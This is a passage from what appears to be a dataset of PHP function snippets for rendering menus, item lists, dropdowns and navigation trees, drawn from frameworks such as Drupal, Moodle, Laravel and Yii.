$style_group = safe($this->options, 'style_group');\n $group_separator = safe($this->options, 'group_separator', ': ');\n $show_groups = safe($this->options, 'show_groups');\n $group_mode = safe($this->options, 'group_mode', 'table');\n $select_group = safe($this->options, 'select_group');\n //$group_id = safe($this->options, 'group_id', $id);\n $group_selected = safe($this->options, 'group_selected', $selected);\n $group_table = safe($this->options, 'group_table', $table);\n $group_key_field = safe($this->options, 'group_key_field', $key_field);\n $group_name_field = safe($this->options, 'group_name_field', $name_field);\n $group_order_field = safe($this->options, 'group_order_field', $group_name_field);\n $group_value_modifier = safe($this->options, 'group_value_modifier');\n\n $link_table = safe($this->options, 'link_table');\n $link_fk_field = safe($this->options, 'link_fk_field');\n $link_pk_field = safe($this->options, 'link_pk_field');\n $key_value = safe($this->options, 'key_value');\n\n $on_click = safe($this->options, 'onclick');\n\n global $db;\n \n if (!$read_only) {\n \n $id = $this->id();\n $template_id = $this->template_id();\n $this->set_id($id.'[]');\n $this->set_template_id($template_id);\n $this->set_attribute('size', $size);\n $this->set_attribute('multiple', true);\n //$this->set_attribute('width', $width);\n\n if ($sql_text) {\n $sql = $sql_text;\n } else\n if ($show_groups) {\n if ($group_mode == 'table')\n $sql = 'SELECT a.'.$key_field.' id'\n .' , a.'.$name_field.' name'\n .' , a.'.$group_field.' group_id'\n .' , b.'.$group_name_field.' group_name'\n .' FROM '.$table.' a'\n .' , '.$group_table.' b'\n .' WHERE a.'.$group_field. ' = b.'.$group_key_field\n .' AND '.$filter\n .' ORDER BY b.'.$group_order_field.', b.'.$group_key_field.', a.'.$order_field.', a.'.$key_field;\n else\n $sql = 'SELECT '.$group_field.' group_name'\n .' , '.$key_field.' id'\n .' , '.$name_field.' name'\n .' FROM '.$table\n .' WHERE 1=1'\n .' AND '.$filter\n .' ORDER BY '.$group_field.', '.$order_field.', '.$key_field;\n } else {\n $sql = 'SELECT a.'.$key_field.' id'\n .' , a.'.$name_field.' name'\n .' FROM '.$table.' a'\n .' WHERE '.$filter\n .' ORDER BY a.'.$order_field;\n }\n $query = $db->query($sql);\n \n $last_group = ''; \n\n while ($row = $db->next_row($query)) {\n\n if ($row['name']) {\n // group rendering\n if ($group_value_modifier) {\n $expression = 'return '.placeholder($group_value_modifier, $row['group_name']);\n $row['group_name'] = eval($expression);\n }\n\n if (($show_groups) and ($row['group_name'] != $last_group)) {\n $this->add(new combo_group_label( $row['group_name'] ));\n $last_group = $row['group_name'];\n }\n \n $attributes = array();\n if ($on_click)\n $attributes['onclick'] = $on_click;\n \n $this->add(new combo_item( $row['id'], $row['name'], in_array($row['id'], $selected), $attributes));\n }\n \n }\n \n } else {\n \n $this->tag = 'span';\n\n if ($show_groups) {\n $sql = sql_placeholder( 'SELECT a.'.$name_field.' name'.\n ' , c.'.$group_name_field. ' group_name'.\n ' FROM '.$table.' a'.\n ' , '.$group_table.' c'.\n ' , '.$link_table.' b'.\n ' WHERE a.'.$group_field. ' = c.id'.\n ' AND b.'.$link_fk_field.' = a.id'.\n ' AND b.'.$link_pk_field.' = ?'.\n ' ORDER BY c.'.$group_order_field.', c.id, a.'.$order_field.', a.id'\n , $key_value);\n } else {\n $sql = sql_placeholder( 'SELECT a.'.$name_field.' name'.\n ' FROM '.$table.' a'.\n ' , '.$link_table.' b'.\n ' WHERE b.'.$link_fk_field.' = a.id'.\n ' AND b.'.$link_pk_field.' = ?'.\n ' ORDER BY a.'.$order_field\n , $key_value);\n }\n\n $last_group = '';\n $first_group = true;\n $first = true;\n if ($query = $db->query($sql)) {\n while ($row = $db->next_row($query)) {\n if ($show_groups and ($last_group != $row['group_name'])) {\n if (!$first_group)\n $this->text .= ';&nbsp;';\n $this->text .= $row['group_name'].$group_separator.$row['name'];\n $first_group = false;\n $first = false;\n $last_group = $row['group_name'];\n } else {\n if ($first)\n $this->text .= $row['name'];\n else\n $this->text .= ',&nbsp;'.$row['name'];\n $first = false;\n }\n }\n }\n\n }\n }", "function print_menu($tpl,$varname='menu_niveau2',$items=array(),$id='') {\n if (empty($id)) $id=$varname;\n\n $res=\"<div id=\\\"$id\\\"><ul class=\\\"menu_niveau2\\\">\";\n foreach ($items as $item) {\n \t//passage progressif aux icones actions V15 avec un li onClick et plus un lien href trop long\n if (is_object($item) && !empty($item->js))\t\n \t\t$res.= print_menu_item2($tpl,false,$item);\n else\n \t\t$res.= print_menu_item($tpl,false,$item);\n }\n //print_r($res);\n if ($tpl && $varname)\n \t$tpl->assign($varname, $res.\"</ul></div>\");\n else return $res; //chainage\n\n}", "protected function buildMenu() {\n// $structures = DataSource::factory(Structure::cls());\n// $structures->builder()\n// ->where(\"structure_id=0\")\n// ->order('priority');\n// /** @var Structure[] $aStructures */\n// $aStructures = $structures->findAll();\n// foreach ($aStructures as $oStructure) {\n// $menu->addLeftItem($oStructure->name, $oStructure->path);\n// $this->loadMenuItems($menu->findLeftItemByPath($oStructure->path), $oStructure);\n// }\n//\n// $view = new ViewMMenu();\n// $view->menu = $menu;\n// return $view;\n\n $ViewMainMenu = new ViewMainMenu($this->config['name']);\n $this->setMenuItems($ViewMainMenu->itemsList);\n $currentPath = explode('?', $this->Router->getRoute());\n $ViewMainMenu->currentPath = reset($currentPath);\n\n return $ViewMainMenu;\n }", "function drawFolder ($item, $isExpanded, $tree, $indentLevel)\n\t{\n\t\t$resultString = '\n\t\t\t\t\t\t\t\t<tr><td>';\n\n\t\tfor ($i=0; $i<$indentLevel; $i++)\n\t\t{\n\t\t\t$resultString .= $this->configuration['icons']['bar'];\n\t\t}\n\n\t\tif ($isExpanded)\n\t\t{\n\t\t\t$res = $tree->createExpandedListWithout ($item->itemId);\n\t\t\t$resultString .= '<a href=\"';\n\t\t\t$resultString .= $this->configuration['callback'];\n\t\t\t$resultString .= '?expand=' . implode (',', $res);\n\t\t\t$resultString .= '&amp;parentId='.$tree->root->itemId;\n\t\t\t$resultString .= '&username='.$this->configuration['username'];\n\t\t\t$resultString .= '&amp;plugin='.$this->configuration['plugin'];\n\t\t\t$resultString .= '\">';\n\t\t\t$resultString .= $this->configuration['icons']['minus'];\n\t\t\t$resultString.= '</a>';\n\n\t\t\t$resultString .= $this->configuration['icons']['folder_open'];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// ???\n\t\t\t$linkExpand = \"\";\n\t\t\t// ???\n\t\t\tif (!$tree->isExpanded ($item->itemId) && isset ($tree->expanded))\n\t\t\t{\n\t\t\t\t$linkExpand .= implode(\",\", $tree->expanded).\",\".$item->itemId;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$linkExpand = $item->itemId;\n\t\t\t}\n\t\t\tif (isset ($item->parentId))\n\t\t\t{\n\t\t\t\t$resultString .= '<a href=\"';\n\t\t\t\t$resultString .= $this->configuration['callback'];\n\t\t\t\t$resultString .= '?expand=' . $linkExpand;\n\t\t\t\t$resultString .= '&amp;parentId='.$this->rootId;\n\t\t\t\t$resultString .= '&username='.$this->configuration['username'];\n\t\t\t\t$resultString .= '&amp;plugin='.$this->configuration['plugin'];\n\t\t\t\t$resultString .= '\">';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$resultString .= '<a href=\"';\n\t\t\t\t$resultString .= $this->configuration['callback'];\n\t\t\t\t$resultString .= '?expand='.$linkExpand;\n\t\t\t\t$resultString .= '&amp;parentId='.$this->rootId;\n\t\t\t\t$resultString .= '&username='.$this->configuration['username'];\n\t\t\t\t$resultString .= '&amp;plugin='.$this->configuration['plugin'];\n\t\t\t\t$resultString .= '\">';\n\t\t\t}\n\t\t\t$resultString .= $this->configuration['icons'] ['plus'];\n\t\t\t$resultString .= '</a>';\n\t\t\t$resultString .= $this->configuration['icons'] ['folder_closed'];\n\t\t}\n\t\t$resultString .= '<a href=\"';\n\t\t$resultString .= $this->configuration['callback'];\n\t\t$resultString .= '?action=show&amp;parentId=';\n\t\t$resultString .= $item->itemId;\n\t\t$resultString .= '&username='.$this->configuration['username'];\n\t\t$resultString .= '&amp;plugin='.$this->configuration['plugin'];\n\t\tif (isset ($tree->expanded))\n\t\t{\n\t\t\t$resultString .= '&amp;expand='.implode (',', $tree->expanded);\n\t\t}\n\t\t$resultString .= '\">';\n\t\t$resultString .= $item->name;\n\t\t$resultString .= '</a>';\n\t\tif (isset ($item->description))\n\t\t{\n\t\t\t$resultString .= '<br />'.$item->description;\n\t\t}\n\t\t$resultString .= '</td></tr>';\n\t\treturn $resultString;\n\t}", "function _gwt_drupal_mega_menu_formatted(){\n // dependent on gwt_drupal_helper module\n if(!module_exists('gwt_drupal_helper')){\n return;\n }\n $output = '';\n \n $mega_menu = gwt_drupal_mega_menu_load_all();\n // $output .= '<pre>'.print_r($mega_menu, 1).'</pre>';\n // print_r($mega_menu);\n // $output .= '<div id=\"nav-megamenu\">';\n foreach($mega_menu as $mlid => $item){\n $attr = array();\n // TODO: load the node content\n // TODO: also load sub menu for loading of sub mega menu\n $nid = $item->nid;\n $mlid = $item->mlid;\n // $menu_link = menu_link_load($mlid);\n // $output .= '<pre>'.print_r($menu_link, 1).'</pre>';\n // $sub_items = menu_tree_all_data('main-menu', $menu_link, 2);\n\n $node = node_load($nid);\n $node_view = node_view($node);\n\n $node_view['#theme'] = 'mega_menu';\n // drupal_render($node_view['#node']->title);\n\n $rendered_node = drupal_render($node_view);\n $attr['class'] = array(\n 'mega-menu-item',\n 'mega-menu-item-'.$mlid,\n 'row',\n 'fullwidth',\n 'collapse',\n );\n $attr['data-menu-item'] = $mlid;\n\n $output .= \"<div \".drupal_attributes($attr).\">\\n\";\n if(!empty($item->children)){\n $mega_menu_sub_items = \"\";\n $mega_menu_sub_items .= \"<li class=\\\"tab-title active\\\">\";\n $mega_menu_sub_items .= '<a href=\"#mega-menu-item-'.$mlid.'\" data-tab-link=\"'.$mlid.'\">'.$node_view['#node']->title.'</a>';\n $mega_menu_sub_items .= \"</li>\\n\";\n \n $mega_menu_sub_items_content = '';\n $mega_menu_sub_items_content .= \"<div class=\\\"mega-sub-content active\\\" id=\\\"mega-menu-item-\".$mlid.\"\\\" data-tab-item=\\\"\".$mlid.\"\\\">\\n\";\n $mega_menu_sub_items_content .= '<h3 class=\"mega-menu-title\">'.$node_view['#node']->title.'</h3>';\n $mega_menu_sub_items_content .= $rendered_node;\n $mega_menu_sub_items_content .= \"</div>\\n\";\n\n $output .= \"<div class=\\\"mega-sub-menu large-3 columns\\\">\\n\";\n $output .= \"<h3 class=\\\"mega-menu-title\\\">\".$node_view['#node']->title.'</h3>';\n foreach($item->children as $child_mlid => $child_item){\n $child_nid = $child_item->nid;\n $child_node = node_load($child_nid);\n $child_node_view = node_view($child_node);\n $child_node_view['#theme'] = 'mega_menu';\n $child_rendered_node = drupal_render($child_node_view);\n\n $mega_menu_sub_items .= '<li class=\"tab-title\">';\n $mega_menu_sub_items .= '<a href=\"#mega-menu-item-'.$child_mlid.'\" data-tab-link=\"'.$child_mlid.'\">'.$child_node_view['#node']->title.'</a>';\n $mega_menu_sub_items .= \"</li>\\n\";\n\n $mega_menu_sub_items_content .= \"<div class=\\\"mega-sub-content\\\" id=\\\"mega-menu-item-\".$child_mlid.\"\\\" data-tab-item=\\\"\".$child_mlid.\"\\\">\\n\";\n $mega_menu_sub_items_content .= '<h3 class=\"mega-menu-title\">'.$child_node_view['#node']->title.'</h3>';\n $mega_menu_sub_items_content .= $child_rendered_node;\n $mega_menu_sub_items_content .= \"</div>\\n\";\n }\n $output .= \"<ul class=\\\"mega-sub-items tabs\\\" data-tab>\\n\";\n $output .= $mega_menu_sub_items;\n $output .= \"</ul>\\n\";\n $output .= \"</div>\\n\";\n\n $output .= \"<div class=\\\"mega-sub-contents large-9 columns\\\">\\n\";\n $output .= $mega_menu_sub_items_content;\n $output .= \"</div>\\n\";\n }\n else{\n $output .= \"<div class=\\\"mega-menu-contents row\\\">\\n\";\n $output .= \"<h2 class=\\\"mega-menu-title\\\">\".$node_view['#node']->title.\"</h2>\\n\";\n $output .= $rendered_node;\n $output .= \"</div>\\n\";\n }\n\n $output .= \"</div>\\n\";\n }\n // $output .= \"</div>\\n\";\n return $output;\n}", "function show_items_list($items,$moodlecst,$cm){\n\t\n\t\tif(!$items){\n\t\t\treturn $this->output->heading(get_string('noitems','moodlecst'), 3, 'main');\n\t\t}\n\t\n\t\t$table = new html_table();\n\t\t$table->id = 'MOD_MOODLECST_qpanel';\n\t\t$table->head = array(\n\t\t\tget_string('itemname', 'moodlecst'),\n\t\t\tget_string('itemtype', 'moodlecst'),\n\t\t\tget_string('actions', 'moodlecst')\n\t\t);\n\t\t$table->headspan = array(1,1,3);\n\t\t$table->colclasses = array(\n\t\t\t'itemname', 'itemtitle', 'edit','duplicate','delete'\n\t\t);\n\n\t\t//sort by start date\n\t\t//core_collator::asort_objects_by_property($items,'timecreated',core_collator::SORT_NUMERIC);\n\t\t//core_collator::asort_objects_by_property($items,'name',core_collator::SORT_STRING);\n\n\t\t//loop through the homoworks and add to table\n\t\tforeach ($items as $item) {\n\t\t\t$row = new html_table_row();\n\t\t\n\t\t\n\t\t\t$itemnamecell = new html_table_cell($item->name);\t\n\t\t\tswitch($item->type){\n\t\t\t\tcase MOD_MOODLECST_SLIDEPAIR_TYPE_PICTURECHOICE:\n\t\t\t\t\t$itemtype = get_string('picturechoice','moodlecst');\n\t\t\t\t\tbreak;\n\t\t\t\tcase MOD_MOODLECST_SLIDEPAIR_TYPE_AUDIOCHOICE:\n\t\t\t\t\t$itemtype = get_string('audiochoice','moodlecst');\n\t\t\t\t\tbreak;\n\t\t\t\tcase MOD_MOODLECST_SLIDEPAIR_TYPE_TABOO:\n\t\t\t\t\t$itemtype = get_string('taboo','moodlecst');\n\t\t\t\t\tbreak;\n\t\t\t\tcase MOD_MOODLECST_SLIDEPAIR_TYPE_TEXTCHOICE:\n\t\t\t\t\t$itemtype = get_string('textchoice','moodlecst');\n\t\t\t\t\tbreak;\n\t\t\t\tcase MOD_MOODLECST_SLIDEPAIR_TYPE_TRANSLATE:\n\t\t\t\t\t$itemtype = get_string('translate','moodlecst');\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t} \n\t\t\t$itemtypecell = new html_table_cell($itemtype);\n\t\t\n\t\t\t$actionurl = '/mod/moodlecst/slidepair/manageslidepairs.php';\n\t\t\t$editurl = new moodle_url($actionurl, array('id'=>$cm->id,'itemid'=>$item->id));\n\t\t\t$editlink = html_writer::link($editurl, get_string('edititem', 'moodlecst'));\n\t\t\t$editcell = new html_table_cell($editlink);\n\n $duplicateurl = new moodle_url($actionurl, array('id'=>$cm->id,'itemid'=>$item->id,'action'=>'duplicate'));\n $duplicatelink = html_writer::link($duplicateurl, get_string('duplicateitem', 'moodlecst'));\n $duplicatecell = new html_table_cell($duplicatelink);\n\t\t\t\n\t\t\t//$previewlink = $this->fetch_preview_link($item->id,$moodlecst->id);\n\t\t\t//$previewcell = new html_table_cell($previewlink);\n\t\t\n\t\t\t$deleteurl = new moodle_url($actionurl, array('id'=>$cm->id,'itemid'=>$item->id,'action'=>'confirmdelete'));\n\t\t\t$deletelink = html_writer::link($deleteurl, get_string('deleteitem', 'moodlecst'));\n\t\t\t$deletecell = new html_table_cell($deletelink);\n\n\t\t\t$row->cells = array(\n\t\t\t\t$itemnamecell, $itemtypecell, $editcell,$duplicatecell, $deletecell\n\t\t\t);\n\t\t\t$table->data[] = $row;\n\t\t}\n\n\t\treturn html_writer::table($table);\n\n\t}", "function add_item($arr)\n\t{\n\t\tif (empty($arr[\"parent\"]))\n\t\t{\n\t\t\t$arr[\"parent\"] = $this->menu_id;\n\t\t}\n\n\t\t$caption = empty($arr[\"text\"]) ? \"[MENU ITEM]\" : $arr[\"text\"];\n\t\t$attribs = array(\"class\" => \"menuItem\", \"caption\" => $caption);\n\t\tif (!empty($arr[\"href_id\"])) $attribs[\"id\"] = $arr[\"href_id\"]; // DOM id\n\t\tif (!empty($arr[\"title\"])) $attribs[\"title\"] = $arr[\"title\"]; // link title\n\n\t\tif(empty($arr[\"disabled\"]))\n\t\t{\n\t\t\t// href\n\t\t\tif (!empty($arr[\"action\"]))\n\t\t\t{\n\t\t\t\t$attribs[\"url\"] = \"javascript:submit_changeform('{$arr[\"action\"]}');\";\n\t\t\t}\n\t\t\telseif (!empty($arr[\"link\"]))\n\t\t\t{\n\t\t\t\t$attribs[\"url\"] = $arr[\"link\"];\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$attribs[\"url\"] = \"javascript:void(0);\";\n\t\t\t}\n\n\t\t\t// onclick\n\t\t\t$attribs[\"onclick\"] = \"\";\n\t\t\tif (!empty($arr[\"onClick\"])) $attribs[\"onclick\"] = $arr[\"onClick\"];\n\t\t\tif (!empty($arr[\"onclick\"])) $attribs[\"onclick\"] = $arr[\"onclick\"];\n\n\t\t\t// target window/frame\n\t\t\tif (!empty($arr[\"target\"])) $attribs[\"target\"] = \"_blank\";\n\n\t\t\t// confirmation dialog\n\t\t\tif (!empty($arr[\"confirm\"])) $attribs[\"onclick\"] .= \"return confirm(\\\"{$arr[\"confirm\"]}\\\");\";\n\n\t\t\t$style = \"\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$attribs[\"url\"] = \"javascript:void(0);\";\n\t\t\t$style = \"color: gray; text-decoration: none; cursor: default;\";\n\t\t}\n\n\t\tif (!empty($arr[\"emphasized\"])) $style .= \"background-color: silver;\"; // emphasis\n\n\t\t$attribs[\"style\"] = $style;\n\n\t\t$rv = html::href($attribs);\n\n\t\tif (!isset($this->menus[$arr[\"parent\"]]))\n\t\t{\n\t\t\t$this->menus[$arr[\"parent\"]] = \"\";\n\t\t}\n\t\t\n\t\t$arr[\"html\"] = $rv;\n\t\tif (!isset($this->items[$arr[\"parent\"]]))\n\t\t{\n\t\t\t$this->items[$arr[\"parent\"]] = array();\n\t\t}\n\t\t$this->items[$arr[\"parent\"]][] = $arr;\n\t\t\n\t\t$this->menus[$arr[\"parent\"]] .= $rv;\n\t}", "public function run()\n {\n\n // Categoria Monitoramento\n $rh = MenuItem::create([\n 'mit_mod_id' => 6,\n 'mit_nome' => 'Recursos Humanos',\n 'mit_icone' => 'fa fa-file-text',\n 'mit_ordem' => 1\n ]);\n\n // Item Dashboard\n MenuItem::create([\n 'mit_mod_id' => 6,\n 'mit_nome' => 'Dashboard',\n 'mit_item_pai' => $rh->mit_id,\n 'mit_icone' => 'fa fa-tachometer',\n 'mit_rota' => 'rh.index.index',\n 'mit_ordem' => 1\n ]);\n\n // Categoria cadastros\n $rh = MenuItem::create([\n 'mit_mod_id' => 6,\n 'mit_nome' => 'Cadastros',\n 'mit_icone' => 'fa fa-plus',\n 'mit_ordem' => 1\n ]);\n\n // Item areas conhecimentos\n MenuItem::create([\n 'mit_mod_id' => 6,\n 'mit_nome' => 'Áreas de Conhecimento',\n 'mit_item_pai' => $rh->mit_id,\n 'mit_icone' => 'fa fa-tachometer',\n 'mit_rota' => 'rh.areasconhecimentos.index',\n 'mit_ordem' => 1\n ]);\n\n }", "protected function renderItems($items) {\n $n = count($items);\n $lines = [];\n// $this->_layer++;\n foreach ($items as $i => $item) {\n $options = array_merge($this->itemOptions, ArrayHelper::getValue($item, 'options', []));\n $tag = ArrayHelper::remove($options, 'tag', 'li');\n $class = [];\n\n if ($item['active']) {\n $class[] = $this->activeCssClass;\n }\n if ($i === 0 && $this->firstItemCssClass !== null) {\n $class[] = $this->firstItemCssClass;\n }\n if ($i === $n - 1 && $this->lastItemCssClass !== null) {\n $class[] = $this->lastItemCssClass;\n }\n if (!empty($item['items'])) {\n $class[] = ($this->_layer > 0) ? 'dropdown-submenu' : 'dropdown';\n }\n if (!empty($class)) {\n if (empty($options['class'])) {\n $options['class'] = implode(' ', $class);\n } else {\n $options['class'] .= ' ' . implode(' ', $class);\n }\n }\n $menu = $this->renderItem($item);\n if (!empty($item['items'])) {\n $this->_layer++;\n $menu .= strtr($this->submenuTemplate, [\n '{items}' => $this->renderItems($item['items']),\n ]);\n $this->_layer--;\n }\n $lines[] = Html::tag($tag, $menu, $options);\n }\n\n return implode(\"\\n\", $lines);\n }", "public function run()\n {\n $elements = [\n ['item_id' => 1, 'menu_id' => 1],\n ['item_id' => 2, 'menu_id' => 1],\n ['item_id' => 3, 'menu_id' => 2],\n ['item_id' => 4, 'menu_id' => 2],\n ['item_id' => 5, 'menu_id' => 3],\n ];\n\n foreach ($elements as $element) {\n $ele = \\App\\Models\\ItemMenu::create($element);\n }\n }", "public function menuItems()\n\t{\n\t\treturn array(\n array('label'=>$this->labelMenu!==null?$this->labelMenu:Yii::t('app','Generator'), 'icon'=>'fa fa-code', 'url'=>'#','items'=>$this->getMyselfMenu(),'visible'=>Yii::app()->getModule('users')->check('root')),\n );\n\t}", "static function showItems($SET) {\n\t\t//$level++;\n\t\t//$s = '';\n\n\t\t$hasSub = false;\n\t\tforeach ($SET as $offset => $S) {\n\t\t\tif ($offset[0] === '_') continue;\n\t\t\tif ($S->count()) { $hasSub = true; break; }\n\t\t}\n\n\t\t$s = '<ul'.($hasSub?' class=-hasSub':'').'>';\n\t\tforeach ($SET as $offset => $S) {\n\t\t\tif ($offset[0] === '_') continue;\n\t\t\t$open = isset(self::$opened[$S->i]);\n\t\t\t$s .= '<li>';\n\t\t\t$s .= \t'<span class=-row>';\n\t\t\t$s .= \t\t'<span class=-toggle>';\n\t\t\t$s .= \t\t\t$S->count() ? '<a class=\"toggle -'.($open?'minus':'plus').'\"></a>' : '<a class=toggle></a>';\n\t\t\t$s .=\t\t'</span>';\n\t\t\t$s .= \t\t'<span class=-name>';\n\t\t\t$s .=\t\t\t$offset;\n\t\t\t$s .=\t\t'</span>';\n\t\t\t$s .=\t \t'<span class=-inp>'.self::showInput($S).'</span>';\n\t\t\t$s .= \t\t'<span class=-rem><a>x</a></span>';\n\t\t\t$s .= \t'</span>';\n\t\t\tif ($open) $s .= self::showItems($S);\n\t\t}\n\t\t$s .= '</ul>';\n\t\t//$level--;\n\t\treturn $s;\n\t}", "public function getMenuItems() {\n\n $url = $this->urlHelper;\n $items = [];\n\n //Links Visible always to everyone logged in or not.\n //default Home page - no login required. \n\n /* $items[] = [\n 'id' => 'home',\n 'label' => 'Home',\n 'link' => $url('home')\n ]; */\n\n //add links here for pages that will be visible for all users logged-in or not.\n //you must adjust User\\Module.php (~line 85) onDispatch method to ignore calls for \n //the associated Controller and action or you will end up with an infinite loop.\n /*\n $items[] = [\n 'id' => 'about',\n 'label' => 'About',\n 'link' => $url('about')\n ];\n */\n\n $user = $this->authManager->getLoggedInUser();\n\n //BEGIN Authentication/Rendering Logic\n // Display \"Login\" menu item for not authorized user only. On the other hand,\n // display \"Admin\" and \"Logout\" menu items only for authorized users and any other links \n // that should be visible by logged-in users.\n if (!$user) {\n\n $items[] = [\n 'id' => 'login',\n 'label' => 'Sign in',\n 'link' => $url('login'),\n 'float' => 'right'\n ];\n } else {\n\n //render Customers link for all users with sales_attr_id value in users table\n if (!empty($user->getSales_attr_id())) {\n $items[] = [\n 'id' => 'customers',\n 'label' => 'Customers',\n 'data-ffm-salesperson' => $user->getFullName(),\n 'float' => 'static',\n 'link' => $url('customer', ['action' => 'view', 'id' => $user->getSales_attr_id()])\n ];\n }\n //only display admin drop down for admin users.\n $isAdmin = $this->authManager->isAdmin();\n if ($isAdmin) {\n $items[] = [\n 'id' => 'admin',\n 'label' => '<i class=\"ion-gear-a\"></i>',\n 'float' => 'right',\n 'dropdown' => [\n [\n 'id' => 'users',\n 'label' => 'Manage Users',\n 'link' => $url('users')\n ]\n ]\n ];\n }\n\n $settingsDropDownManageAccount = [\n 'id' => 'manage_account',\n 'label' => 'Manage Account',\n 'link' => $url('users', ['action' => 'edit', 'id' => $user->getId()])\n ];\n\n $settingsDropDownViewAccount = [\n 'id' => 'view_account',\n 'label' => 'View Account',\n 'link' => $url('application', ['action' => 'settings'])\n ];\n\n $settingsDropDownLogout = [\n 'id' => 'logout',\n 'label' => 'Logout',\n 'link' => $url('logout')\n ];\n\n $settingsDropDown = [];\n\n //only add the Manage Account link for Admins.\n if ($isAdmin) {\n $settingsDropDown[] = $settingsDropDownManageAccount;\n }\n\n $settingsDropDown[] = $settingsDropDownViewAccount;\n\n $settingsDropDown[] = $settingsDropDownLogout;\n\n $items[] = [\n 'id' => 'settings',\n 'label' => '<i class=\"ion-person\"></i>' . $user->getUsername(),\n 'float' => 'right',\n 'dropdown' => $settingsDropDown\n ];\n\n $loggedInItems = $this->getLoggedInItems();\n\n if ($loggedInItems)\n array_merge($items, $loggedInItems);\n\n // add items to right of settings in top right corner only for logged-in users here\n //Show Salespeople link only to Admin users\n if ($isAdmin) {\n\n $items[] = [\n 'id' => 'salespeople',\n 'label' => 'Salespeople',\n 'float' => 'static',\n 'link' => $url('salespeople', ['action' => 'index']),\n ];\n }\n }\n\n return $items;\n }", "public function getSidebarMenuItems()\n {\n $items = [];\n $model = new \\wdmg\\admin\\models\\Modules();\n $modules = $model::getModules(true);\n $menuItems = $this->module->getMenuItems();\n uasort($menuItems, array($this, 'sortByOrder'));\n\n foreach ($menuItems as $menu) {\n\n $subitems = [];\n $navitems = [];\n $disabled = false;\n\n // First, check if the menu item points to a specific module\n if (isset($menu['item'])) {\n\n // Check the presence of the module identifier among the available packages\n foreach ($modules as $module) {\n if ($menu['item'] == $module['module']) {\n if ($module = Yii::$app->getModule('admin/'. $module['module'], false)) {\n\n\n // Call Module::dashboardNavItems() to get its native menu\n $navitems = [];\n $moduleNavitems = $module->dashboardNavItems();\n\n\t if (isset($moduleNavitems['items'])) {\n\t\t $navitems['items'] = $moduleNavitems['items'];\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tif (ArrayHelper::isIndexed($moduleNavitems) && !ArrayHelper::isAssociative($moduleNavitems, true)) {\n\t\t\t\t\t\t\t\t\tforeach ($moduleNavitems as $moduleNavitem) {\n\t\t\t\t\t\t\t\t\t\tif (isset($moduleNavitem['label'])) {\n\t\t\t\t\t\t\t\t\t\t\t$navitems[] = $moduleNavitem;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tif (isset($moduleNavitems['label'])) {\n\t\t\t\t\t\t\t\t\t\t$navitems[] = $moduleNavitems;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n // Check if the received menu item contains a direct link\n if (isset($navitems['url']))\n $menu['url'] = $navitems['url'];\n\n // Check if the received menu item contains sub-items\n if (!empty($navitems['items'])) {\n $menu['items'] = $navitems['items'];\n }\n\n unset($navitems);\n }\n }\n }\n }\n\n\t // Check if the menu item has nested sub-items\n\t\t\tif (isset($menu['items']) && is_array($menu['items'])) {\n\n // If the nested item is not represented by an array, then this is the module identifier,\n // of the module in which you need to call Module::dashboardNavItems() to get its native menu\n if (!is_array($menu['items'][0])) {\n $found = 0;\n foreach ($menu['items'] as $moduleId) {\n\n // add custom link for dashboard page\n if (is_array($moduleId)) {\n if (\n array_key_exists('label', $moduleId) &&\n array_key_exists('icon', $moduleId) &&\n array_key_exists('url', $moduleId)\n ) {\n $navitems[] = $moduleId;\n $found++;\n }\n } else {\n // check the presence of the module identifier among the available packages\n foreach ($modules as $module) {\n if ($moduleId == $module['module']) {\n if ($module = Yii::$app->getModule('admin/'. $module['module'])) {\n $moduleNavitems = $module->dashboardNavItems();\n if (ArrayHelper::isIndexed($moduleNavitems) && !ArrayHelper::isAssociative($moduleNavitems, true)) {\n foreach ($moduleNavitems as $moduleNavitem) {\n\t if (isset($moduleNavitem['label'])) {\n\t\t $navitems[] = $moduleNavitem;\n\t }\n }\n } else {\n\t if (isset($moduleNavitems['label'])) {\n\t\t $navitems[] = $moduleNavitems;\n\t }\n }\n $found++;\n }\n }\n }\n }\n }\n\n // None of the modules were found\n if ($found == 0) {\n $disabled = true;\n } else {\n foreach ($navitems as $navitem) {\n if ($navitem['icon'])\n $navitem['label'] = ($navitem['icon']) ? '<span class=\"icon\"><i class=\"' . $navitem['icon'] . '\"></i></span> ' . Yii::t('app/modules/admin', $navitem['label']) : Yii::t('app/modules/admin', $navitem['label']);\n }\n }\n\n } else {\n\n // It means a nested array and it already contains submenus of the menu\n $submenus = $menu['items'];\n uasort($submenus, array($this, 'sortByOrder'));\n foreach ($submenus as $submenu) {\n \n $navitems = [];\n if (isset($submenu['items']) && is_array($submenu['items'])) {\n foreach ($submenu['items'] as $moduleId) {\n\n // check the presence of the module identifier among the available packages\n foreach ($modules as $module) {\n if ($moduleId == $module['module']) {\n if ($module = Yii::$app->getModule('admin/'. $module['module'])) {\n $moduleNavitems = $module->dashboardNavItems();\n if (ArrayHelper::isIndexed($moduleNavitems) && !ArrayHelper::isAssociative($moduleNavitems, true)) {\n foreach ($moduleNavitems as $moduleNavitem) {\n\t if (isset($moduleNavitem['label'])) {\n\t\t $navitems[] = $moduleNavitem;\n\t }\n }\n } else {\n\t if (isset($moduleNavitems['label'])) {\n\t\t $navitems[] = $moduleNavitems;\n\t }\n }\n }\n }\n }\n }\n }\n\n // Collect the final sub-menu item\n $subitems[] = [\n 'label' => ($submenu['icon']) ? '<span class=\"icon\"><i class=\"' . $submenu['icon'] . '\"></i></span> ' . Yii::t('app/modules/admin', $submenu['label']) : Yii::t('app/modules/admin', $submenu['label']),\n 'url' => ($submenu['url']) ? Url::to($submenu['url']) : '#',\n 'items' => ($navitems) ? $navitems : false\n ];\n unset($navitems);\n }\n }\n } else {\n if (!isset($menu['url']) && !isset($menu['item']))\n $disabled = true;\n }\n\n // Check if the icon is installed for this menu item\n if (isset($navitems)) {\n if (count($navitems) > 0) {\n foreach ($navitems as $nav => $item) {\n if 